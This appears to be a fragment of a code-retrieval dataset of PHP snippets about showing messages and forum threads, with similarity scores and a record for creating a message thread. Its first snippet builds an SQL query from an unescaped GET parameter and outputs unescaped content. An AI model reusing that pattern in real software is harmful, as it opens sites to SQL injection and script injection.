"function threadShow($tally, $act, $dir='DESC', $str=''){\n\t/*\n\t * Show the general scene start for a thread and then all related posts related to that thread/topic.\n\t * $tally sets number of posts per page\n\t * $direction sets order to either ASC of DESC (Newest or Oldest post first)\n\t */\n\n\n\t#uID is the current user/viewer looking at page,\n\t#hID is the handler/creator of actual thread\n\t$uID=$hID=$hName=$priv='';\n\t#for query string\n\t$rqID=$rtID=$tTitle=$twID=$wID=$testStr=$btns='';\n\n\t#get requested thread id\n\t$rqID = $_GET['tID']; #$rID = requested thread id\n\n\n\n\t#dumpDie($_SESSION['Privilege']);\n\n\t#get user creds\n\tif(isset($_SESSION['UserID']))\t { $hID = $_SESSION['UserID']; } #uID = ''\n\tif(isset($_SESSION['Privilege'])){ $priv = $_SESSION['Privilege']; } ##priv = ''\n\n\t#get Post modifiers to pass on to 'populate' existing post with\n\tif(isset($_GET['pWeather'])){ $wID = $_GET['pWeather']; }\n\n\t$sql = \"SELECT ThreadID, CatID, PostID, UserID, ThreadFeaturing, ThreadType, ThreadTitle, ThreadRating, ThreadPhaseOfDay, ThreadTimeOfDay, ThreadWeather, ThreadLocation, ThreadContent, ThreadNotes, ThreadSummary, ThreadTag, DatePostThread, DatePullThread, DateCreated, LastUpdated FROM ma_Threads where ThreadID = {$rqID}\n\tORDER BY PostID $dir;\";\n\n\n\t$str .= '<!-- start general content -->\n\t<div class=\"col-sm-9 col-xs-12 pull-right\">';\n\n\t# connection comes first in mysqli (improved) function\n\t$result = mysqli_query(IDB::conn(),$sql) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\tif (mysqli_num_rows($result) > 0)//at least one record!\n\t{//show results\n\t\twhile($row = mysqli_fetch_assoc($result))\n\t\t{# process each row\n\t\t\t$catID \t \t\t\t= (int)$row['CatID'];\n\t\t\t#$uID \t \t\t\t= (int)$row['UserID']; #owner/creator of thread\n\t\t\t$uID \t\t\t\t\t= (isset($row['UserID'])) \t? $row['UserID'] : 0;\n\n\t\t\t$rtID \t \t\t\t= (int)$row['ThreadID'];\n\n\t\t\t$tTitle \t\t\t= $row['ThreadTitle'];\n\t\t\t$titleEncoded = str_replace(' ', '_', $tTitle); #URL safe\n\n\t\t\t$tType \t\t\t\t= $row['ThreadType'];\n\t\t\t$tRate \t\t\t\t= $row['ThreadRating'];\n\t\t\t$tRateEncoded = str_replace(' ', '_', $tRate); #URL safe\n\n\t\t\t$phase \t\t\t\t= $row['ThreadPhaseOfDay'];\n\t\t\t$phaseEncoded = str_replace(' ', '_', $phase); #URL safe\n\n\t\t\t$time \t\t\t\t= $row['ThreadTimeOfDay'];\n\t\t\t#add 67 seconds to time stamp\n\t\t\t$time \t\t\t\t= date(\"m/d/Y h:i:s a\", time() + 67);\n\t\t\t$timeEncoded = str_replace(' ', '_', $time); #URL safe\n\n\t\t\t$tWeather \t\t= $row['ThreadWeather']; #thread weather\n\t\t\t$twEncoded \t\t= str_replace(' ', '_', $twID); #URL safe\n\n\t\t\t$location \t\t= $row['ThreadLocation'];\n\t\t\t$locationEncoded = str_replace(' ', '_', $location); #URL safe\n\t\t\t$when \t\t\t\t= 'when';\n\t\t\t#add 67 seconds to time stamp\n\t\t\t#$time \t\t\t\t= date(\"m/d/Y h:i:s a\", time() + 67);\n\t\t\t$whenEncoded = str_replace(' ', '_', $when); #URL safe\n\n\n\t\t\t#handler - current user viewing is X\n\t\t\t#$hID = $_SESSION['UserID'];\n\t\t\t$hID = (isset($_SESSION['UserID'])) \t? $_SESSION['UserID'] : 0;\n\n\n\t\t\t#QUERY STRINGS for buttons - this way its easier to edit/revise them all in one place\n\t\t\t$pQueryAdd = '?act=postAdd';\n\t\t\t$pQueryAdd .= '&uID=' . $hID\n\t\t\t\t\t\t\t\t\t.\t '&cat=' . $catID\n\t\t\t\t\t\t\t\t\t. '&tID=' . $rtID\n\t\t\t\t\t\t\t\t\t. '&ttl=' . $titleEncoded\n\t\t\t\t\t\t\t\t\t. '&typ=' . $tType\n\t\t\t\t\t\t\t\t\t. '&rtg=' . $tRateEncoded\n\t\t\t\t\t\t\t\t\t. '&wet=' . $twEncoded\n\t\t\t\t\t\t\t\t\t. '&phs=' . $phaseEncoded\n\t\t\t\t\t\t\t\t\t. '&tme=' . $timeEncoded\n\t\t\t\t\t\t\t\t\t. '&loc=' . $locationEncoded\n\t\t\t\t\t\t\t\t\t. '&whn=' . $whenEncoded; #addd min 67 seconds to it...\n\t\t\t#URL Sanitized\n\t\t\t$pQueryAdd = htmlspecialchars($pQueryAdd, ENT_QUOTES);\n\t\t\t#$pQueryAdd = htmlentities($pQueryAdd);\n\t\t\t#$pQueryAdd = rawurlencode ($pQueryAdd);\n\n\t\t\t#dumpDie($pQueryAdd);\n\n\t\t\t$pQueryEdit = '?act=threadEdit&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryEdit = htmlspecialchars($pQueryEdit, ENT_QUOTES);\n\t\t\t$pQueryEdit = htmlentities($pQueryEdit);\n\n\t\t\t$pQueryRemove = '?act=threadRemove&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryRemove = htmlspecialchars($pQueryRemove, ENT_QUOTES);\n\t\t\t$pQueryRemove = htmlentities($pQueryRemove);\n\n\t\t\t$pQueryLock = '?act=threadLock&tID=' . $rtID . '&title=' . $titleEncoded;\n\t\t\t#URL Sanitized\n\t\t\t$pQueryLock = htmlspecialchars($pQueryLock, ENT_QUOTES);\n\t\t\t$pQueryLock = htmlentities($pQueryLock);\n\n\t\t\t#if category matches selected category show\n\t\t\tif($rtID){\n\n\t\t\t\t#add leading zeros...\n\t\t\t\t$rIDformatted ='';\n\t\t\t\t$rIDformatted = str_pad( $rtID, 4, \"0\", STR_PAD_LEFT );\n\n\t\t\t\t#show threadHandler - make link to profile if logged in\n\t\t\t\tif(!empty($priv)){\n\t\t\t\t\t$hName = '<a href=\"' . VIRTUAL_PATH . 'users/userProfile.php?act=show&user=' . $uID . '\" title=\"\">' . get_hName($uID) . '</a>';\n\t\t\t\t}else{\n\t\t\t\t\t#if it's not our memeber, make link meaningless\n\t\t\t\t\t$hName = get_hName($uID);\n\t\t\t\t}\n\n\t\t\t\t#display content\n\t\t\t\t$str .= '<h2 class=\"panel-title\"><b>' . $tTitle . ' <span class=\"text-muted\"></b><small>(#TiD-' . $rtID . ')</small></span></a> <span class=\"pull-right\"><span class=\"glyphicon glyphicon-pencil text-muted\"></span> ' . $hName .'</span></h2>\n\n\t\t\t\t<p><br />'. nl2br($row['ThreadContent']) . '</p>';\n\t\t\t\t#intial description/staging for thread\n\n\n\t\t\t\t$threadTag = $row['ThreadTag'];\n\n\t\t\t\t#get Codenames of characters tagged\n\t\t\t\t#get all unique id sets\n\t\t\t\t$sqlAllTags = \"SELECT DISTINCT PostTags FROM ma_Posts WHERE ThreadID = $rtID\";\n\n\t\t\t\t$txt = '';\n\n\t\t\t\t#make tags for thread\n\t\t\t\t$resultAllTags = mysqli_query(IDB::conn(), $sqlAllTags) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t\t\t\t//at least one record!\n\t\t\t\tif (mysqli_num_rows($resultAllTags) > 0){//show results\n\t\t\t\t\t$count = 0;\n\n\t\t\t\t\t#process id sets into string, add duplicates removed\n\t\t\t\t\twhile ($row = mysqli_fetch_assoc($resultAllTags))\n\t\t\t\t\t{//dbOut() function is a 'wrapper' designed to strip slashes, etc. of data leaving db\n\t\t\t\t\t\t$txt .= $row['PostTags'] . 'x';\n\t\t\t\t\t}\n\n\t\t\t\t\t#remove double commas\n\t\t\t\t\t$txt = str_replace('xx',',', $txt);\n\t\t\t\t\t$txt = str_replace('x',',', $txt);\n\n\t\t\t\t\t#remove duplicates\n\t\t\t\t\t$txt = implode(',', array_unique(explode(',', $txt)));\n\n\t\t\t\t\t#format numbers to row comma quoted delinated row with\n\t\t\t\t\t$txt = \"'\" . str_replace(array(\"'\", \",\"), array(\"\\\\'\", \"','\"), $txt) . \"'\";\n\n\t\t\t\t\t#removing trailing comma and or empty/white space or combos there of.\n\t\t\t\t\t$myStr = str_replace(\",''\",'', $txt);\n\t\t\t\t}\n\n\t\t\t\t@mysqli_free_result($resultAllTags); //free resources\n\n\t\t\t\t$postTagsNew = $sqlCharTags = '';\n\t\t\t\t//we might not have any tags\n\t\t\t\tif($txt !==''){\n\t\t\t\t\t$sqlCharTags = \"SELECT Codename, CharID, Overview FROM ma_Characters WHERE CharID IN ($txt) ORDER BY Codename;\";\n\n\t\t\t\t\t$resultCharTags = mysqli_query(IDB::conn(), $sqlCharTags) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t\t\t\t\t//at least one record!\n\t\t\t\t\tif (mysqli_num_rows($resultCharTags) > 0)\n\t\t\t\t\t{//show results\n\n\t\t\t\t\t\t$count = 0;\n\t\t\t\t\t\t$postTagsNew .= '<p>Featuring: ';\n\n\t\t\t\t\t\twhile ($row = mysqli_fetch_assoc($resultCharTags))\n\t\t\t\t\t\t{//dbOut() function is a 'wrapper' designed to strip slashes, etc. of data leaving db\n\t\t\t\t\t\t\t$cName \t\t\t = $row['Codename'];\n\t\t\t\t\t\t\t$cNameEncode = str_replace(' ', '_', $cName); \t#URL safe\n\t\t\t\t\t\t\t#$twEncoded = str_replace(' ', '_', $twID); \t\t#URL safe\n\t\t\t\t\t\t\t#$titleEncoded = str_replace(' ', '_', $title);\t#URL safe\n\n\t\t\t\t\t\t\t$cID \t\t\t = $row['CharID'];\n\t\t\t\t\t\t\t$cOverivew = $row['Overview'];\n\n\t\t\t\t\t\t\t#add in comma/seperator\n\t\t\t\t\t\t\tIf($count++ >= 1){ $postTagsNew .= ', ';}\n\n\t\t\t\t\t\t\t$postTagsNew .= '<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?CodeName=' . $cNameEncode . '&id=' . $cID . '&act=show\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"' . $cOverivew . '\"\n\t\t\t\t\t\t\t>' . $cName . '</a>';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$postTagsNew .= '</p>';\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$str .= $postTagsNew;\n\n\t\t\t\t#THREAD queries addendums (NOT POSTS!)\n\t\t\t\t#we are using $rID = requested thread id instead of $rtID\n\n\t\t\t\t#GET posts - page them\n\n\n\n\t\t\t#Make the btns\n\t\t\t/*\n\t\t\t\t#we need a handler id for edit, lock and delete options -- handler is the registered created of that post or thread...\n\t\t\t*/\n\n\n\t\t\tif(!empty($priv)){ $btns .= mk_btns4posts($priv, $hID, $uID, $pQueryAdd, $pQueryAdd, $pQueryEdit, $pQueryRemove, $pQueryLock); }\n\n\t\t\t#sbow btns before posts.....\n\t\t\t$str .= $btns; #add the btns\n\n\n\n\t\t\t#pass the btns on to get_pPaged()\n\t\t\t$testStr .= get_pPaged($rtID, $tally, $act, $btns, $tTitle, $tType,\n\t\t\t\t$catID, $titleEncoded, $tType, $tRateEncoded, $twEncoded, $phaseEncoded,\n\t\t\t\t$timeEncoded, $locationEncoded, $whenEncoded, $titleEncoded,\n\t\t\t\t$priv, $hID, $uID); #get all psots\n\n\t\t\tif($testStr != ''){\n\t\t\t\t$str .= $testStr;\n\t\t\t\t$str .= '<hr>';\n\t\t\t#no records\n\t\t\t}else{\n\t\t\t\t$str .= \"<div align=center>Houston we have problemo</div>\";\n\t\t\t}\n\t\t}\n\t\t#close it all up\n\n\t\t$str .='</div><!-- END content -->';\n\t\t@mysqli_free_result($result); //free resources\n\t\treturn $str;\n\t\t}\n\t}\n}",
"public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $message = $em->getRepository('ThiefaineReferentielBundle:Message')->find($id);\n\n if (!$message) {\n throw $this->createNotFoundException(\"Impossible de trouver le message.\");\n }\n\n $showForm = $this->createShowForm($message);\n $twig = 'ThiefaineReferentielBundle:Message:show.html.twig';\n $paramTwig = array(\n 'message' => $message,\n 'show_form' => $showForm->createView(),\n );\n\n return $this->render($twig,$paramTwig);\n }",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"function Message_Showing(&$msg, $type) {\n\t\tif ($type == 'success') {\n\n\t\t\t//$msg = \"your success message\";\n\t\t} elseif ($type == 'failure') {\n\n\t\t\t//$msg = \"your failure message\";\n\t\t} elseif ($type == 'warning') {\n\n\t\t\t//$msg = \"your warning message\";\n\t\t} else {\n\n\t\t\t//$msg = \"your message\";\n\t\t}\n\t}",
"public function show($id)\n {\n $thread = Thread::find($id);\n if(!$thread) {\n abort(404);\n }\n\n $threads = Thread::orderBy('created_at', 'desc')->paginate(5);\n $data = [\n 'thread' => $thread,\n 'threads' => $threads\n ];\n return view('ask-view')->with('data', $data);\n }",
"public function render() {\n\t\t$supportUrl = 'https://wpml.org/forums/forum/english-support/?utm_source=plugin&utm_medium=gui&utm_campaign=wpmltm';\n\t\t$supportLink = '<a target=\"_blank\" rel=\"nofollow\" href=\"' . esc_url( $supportUrl ) . '\">'\n\t\t . esc_html__( 'contact our support team', 'wpml-translation-management' )\n\t\t . '</a>';\n\n\n\t\t?>\n\t\t<div id=\"ams-ate-console\">\n\t\t\t<div class=\"notice inline notice-error\" style=\"display:none; padding:20px\">\n\t\t\t\t<?php echo sprintf(\n\t\t\t\t// translators: %s is a link with 'contact our support team'\n\t\t\t\t\tesc_html(\n\t\t\t\t\t\t__( 'There is a problem connecting to automatic translation. Please check your internet connection and try again in a few minutes. If you continue to see this message, please %s.', 'wpml-translation-management' )\n\t\t\t\t\t),\n\t\t\t\t\t$supportLink\n\t\t\t\t);\n\t\t\t\t?>\n\t\t\t</div>\n\t\t\t<span class=\"spinner is-active\" style=\"float:left\"></span>\n\t\t</div>\n\t\t<script type=\"text/javascript\">\n\t\t\tsetTimeout(function () {\n\t\t\t\tjQuery('#ams-ate-console .notice').show();\n\t\t\t\tjQuery(\"#ams-ate-console .spinner\").removeClass('is-active');\n\t\t\t}, 20000);\n\t\t</script>\n\t\t<?php\n\t}",
"public function preview()\n {\n $message = $this->get('message');\n if ($message) {\n $this->console->output($message);\n }\n }",
"function Message_Showing(&$msg, $type) {\n\n\t\t// Example:\n\t\t//if ($type == 'success') $msg = \"your success message\";\n\n\t}",
"function Message_Showing(&$msg, $type) {\n\n\t\t// Example:\n\t\t//if ($type == 'success') $msg = \"your success message\";\n\n\t}",
"static function message($message, $showHeader = true) {\n\t\tif(!Director::isLive()) {\n\t\t\t$caller = Debug::caller();\n\t\t\t$file = basename($caller['file']);\n\t\t\tif(Director::is_cli()) {\n\t\t\t\tif($showHeader) echo \"Debug (line $caller[line] of $file):\\n \";\n\t\t\t\techo trim($message) . \"\\n\";\n\t\t\t} else {\n\t\t\t\techo \"<p style=\\\"background-color: white; color: black; width: 95%; margin: 0.5em; padding: 0.3em; border: 1px #CCC solid\\\">\\n\";\n\t\t\t\tif($showHeader) echo \"<b>Debug (line $caller[line] of $file):</b>\\n \";\n\t\t\t\techo Convert::raw2xml(trim($message)) . \"</p>\\n\";\n\t\t\t}\n\t\t}\n\t}",
"private function _showMessage($message) {\n fwrite(STDOUT, \"\\n{$message}\\n\");\n return true;\n }",
"public function show(MessageRecipient $messageRecipient)\n {\n //\n }",
"public function show_message($data)\n {\n if (isset($data['content'])) {\n $this->output->writeln('<comment>'.strip_tags($data['content']).'</comment>');\n }\n\n exit;\n }",
"public function display( $message )\n {\n if( true === $this->display )\n {\n // Convert for webbrowser?\n if( isset( $_SERVER[\"HTTP_HOST\"] ) )\n {\n $message = nl2br( $message );\n }\n \n // Display\n echo $message;\n }\n }",
"public function view(User $user, CForumThread $thread)\n {\n //\n }",
"public function getMessage()\n\t{\n\t\tprepareDisplayContext();\n\t}",
"function Message_Showing(&$msg, $type) {\r\n\r\n\t\t// Example:\r\n\t\t//if ($type == 'success') $msg = \"your success message\";\r\n\r\n\t}",
"function Message_Showing(&$msg, $type) {\r\n\r\n\t\t// Example:\r\n\t\t//if ($type == 'success') $msg = \"your success message\";\r\n\r\n\t}",
"public function show(Channel $channel , Thread $thread,TrendingThreads $trending)\n {\n\n $trending->push($thread);\n\n $thread->increment('views');\n \n \treturn view('threads.show',compact('channel','thread'));\n\n }"
]
| [
"0.72423583",
"0.7184522",
"0.6821594",
"0.6611936",
"0.6554976",
"0.65366906",
"0.644348",
"0.644348",
"0.644348",
"0.644348",
"0.644348",
"0.644348",
"0.644348",
"0.644348",
"0.64302796",
"0.64145154",
"0.6359268",
"0.63037705",
"0.6198481",
"0.6172164",
"0.6166747",
"0.61356413",
"0.60556126",
"0.603001",
"0.5984935",
"0.5940193",
"0.5938703",
"0.5931546",
"0.59098965",
"0.59083503",
"0.5877089",
"0.5856803",
"0.5832905",
"0.5783804",
"0.5783131",
"0.57405436",
"0.570811",
"0.57071507",
"0.57046044",
"0.56962204",
"0.5695056",
"0.56905144",
"0.56806064",
"0.5677744",
"0.5676377",
"0.5646185",
"0.56454766",
"0.5645032",
"0.56385505",
"0.5630784",
"0.562129",
"0.56194514",
"0.56170756",
"0.5616633",
"0.56064254",
"0.5591951",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570705",
"0.5570521",
"0.55526865",
"0.5552609",
"0.5548693",
"0.5548693",
"0.5544803",
"0.55392003",
"0.5538997",
"0.55337083",
"0.55297744",
"0.5511246",
"0.5509657",
"0.54918253",
"0.54918253",
"0.54742074"
]
| 0.58646196 | 31 |
Creates a new message thread | public function create()
{
$users = array();
$toSmeNiwas = 'SMENiwas';
$currentUserId = Auth::getUser()->id;
$user = Auth::getUser();
if($user->isBankUser())
{
$users = array(NULL => '') + LoansBankAllocation::where('bank_id','=',$user->bank_id)->get()->lists('loan_id','loan_id')->toArray();
}
else if ($user->isAnalyst() || $user->isAdmin() || $user->isExecutive() || $user->isManagement()) {
$role = Roles::where('slug', '=', 'SME')->orWhere('slug', '=', 'CP')->get();
foreach ($role as $value) {
$getUsers[] = $value->users()->get()->toArray();
}
$users = call_user_func_array('array_merge', $getUsers);
}
// dd($users);
$count = Participant::forUserWithNewMessages($currentUserId)->count();
return view('messenger.create', compact('users', 'count', 'toSmeNiwas'));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function create()\n {\n //\n $this->message->sendMessage();\n }",
"protected static function newMessage()\n {\n self::$message = \\Swift_Message::newInstance();\n }",
